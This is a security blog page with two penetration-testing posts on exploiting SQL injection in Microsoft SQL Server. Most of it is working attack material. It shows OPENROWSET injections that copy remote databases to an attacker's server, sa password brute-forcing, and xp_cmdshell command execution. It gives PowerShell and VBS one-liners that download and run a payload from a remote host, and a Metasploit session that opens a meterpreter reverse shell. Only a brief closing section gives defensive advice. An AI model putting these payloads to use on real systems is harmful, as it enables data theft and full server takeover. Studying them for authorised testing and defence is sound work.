Blog ■

Home : Blog

Archive for the ‘SQL Server’ Category

	Stacked based MSSQL blind injection bypass methodology Monday, January 7th, 2013 If you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time. This post is part of a methodology used for obtaining sight from a stacked based blind SQL injection. Requirements: Stacked based Blind SQL injection Local MSSQL database server (MSSQL server express was used in this example) Improper remote firewall configuration (allows outbound connections) #include <brain.h> If all of the requirements above are met then the following technique can be used: On the local server create a new database with a table to store the results: CREATE DATABASE output_db; CREATE TABLE output_db..output ( result VARCHAR(MAX) ); Lastly, open the ports and change the config for remotely connecting to the database. On the remote server test for OPENROWSET and external connection: ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP; uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, output_db..output) SELECT @@version’)– This instructs the remote database server to connect to the local database and write the result of the SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap… Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database. NOTE: OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans similar* types to avoid any errors* Copying Databases: After you create a new database make a copy of the local sysdatabases and empty it: SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases; DELETE master_copy..sysdatabases; Copy the Remote sysobjects over to master_copy..sysdatabases; ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP; uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, master_copy..sysdatabases;) SELECT * FROM master..sysdatabases;– For every returned name create a new database and list tables CREATE DATABASE LOCAL_DB_NAME; CREATE TABLE LOCAL_DB_NAME..tables( names VARCHAR(MAX) ); ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP; uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, LOCAL_DB_NAME..tables;) SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U’;– For every returned table create a new table for to hold the column data CREATE TABLE LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) ); ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=localhost;uid=sa;pwd=sa’, LOCAL_DB_NAME.dbo.columns) SELECT REMOTE_DB_NAME..syscolumns.name, TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND REMOTE_DB_NAME..sysobjects.name=’sysobj’; Now create a new table with the same columns and data types and copy using the same command as above ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP; uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, LOCAL_DB_NAME..TABLE;) SELECT * FROM REMOTE_DB_NAME..TABLE;– Or create a new table with only the columns you need and copy over only those Advancing: Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us. ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP; uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, output_db..output) SELECT * FROM OPENROWSET(’SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’) Command execution with output of the results (if the sa password is known) ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP; uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘, output_db..output) SELECT * FROM OPENROWSET(’SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘, ’set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)– Advancing more: NOTE: because of the “fmtonly off” instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder. A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload. … or do it yourself. The following commands are for downloading a file from a web server, and running it. (Powershell) [Convert]::ToBase64String([System.Text.Encoding]:: Unicode.GetBytes(”(new-object System.Net.WebClient). DownloadFile(’http://REMOTE_SERVER/payload.exe‘, ‘C:\DESTINATION_FOLDER\payload.exe‘)”)) This will generate an encoded command string that you can run on the remote server: powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -encodedCommand “ENCODED_COMMAND_STRING“ If this doesn’t work, you can echo and run the one-liner vbs script below: echo Set objXMLHTTP=CreateObject(”MSXML2.XMLHTTP”):objXMLHTTP.open “GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send(): If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(”ADODB.Stream”): objADOStream.Open:objADOStream.Type=1: objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position=0: Set objFSO=Createobject(”Scripting.FileSystemObject”): Set objFSO = Nothing: objADOStream.SaveToFile “C:\DESTINATION_FOLDER\payload.exe”: objADOStream.Close: Set objADOStream=Nothing: Set objXMLHTTP=Nothing > C:\DESTINATION_FOLDER\script.vbs Run the script: cscript C:\DESTINATION_FOLDER\script.vbs Run the payload: C:\DESTINATION_FOLDER\payload.exe $ chmod -x attack //Protecting the web server (for the non pen-testers) What went wrong - Recommendations: First off all, the SQL injection, (obviously) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected. For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results. Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done. Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords. If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host. Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations. Tags: blind, bypass, mssql, sql, stacked queries Posted in Penetration Testing, SQL Server, Security research, Vulnerabilities, exploit, sql injection \| No Comments »
	Exploiting SQL injection vulnerabilities with Metasploit Thursday, January 27th, 2011 In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker. Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures: http://192.168.1.66/showproduct.asp?id=1;exec master..xp_cmdshell ‘ping 192.168.1.64′;– If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module. The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester. It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above: msf > use windows/mssql/mssql_payload_sqli msf exploit(mssql_payload_sqli) > set GET_PATH http://192.168.1.66/ showproduct.asp?id=1;[SQLi];-- GET_PATH => http://192.168.1.66/ showproduct.asp?id=1;[SQLi];-- msf exploit(mssql_payload_sqli) > set RHOST 192.168.1.66 RHOST => 192.168.1.66 msf exploit(mssql_payload_sqli) > set PAYLOAD windows/patchupmeterpreter/reverse_tcp PAYLOAD => windows/patchupmeterpreter/reverse_tcp msf exploit(mssql_payload_sqli) > set LHOST 192.168.1.64 LHOST => 192.168.1.64 msf exploit(mssql_payload_sqli) > set LPORT 80 LPORT => 80 msf exploit(mssql_payload_sqli) > exploit After the exploitation the attacker will get a meterpreter shell. SQL injection exploitation with Metasploit If you want to use this code you can download it from Secforce security tools repository. Tags: exploitation, metasploit, ms sql server, Penetration Testing, sql injection Posted in Penetration Testing, SECFORCE, SQL Server, Tools, Vulnerabilities, exploit, sql injection \| No Comments »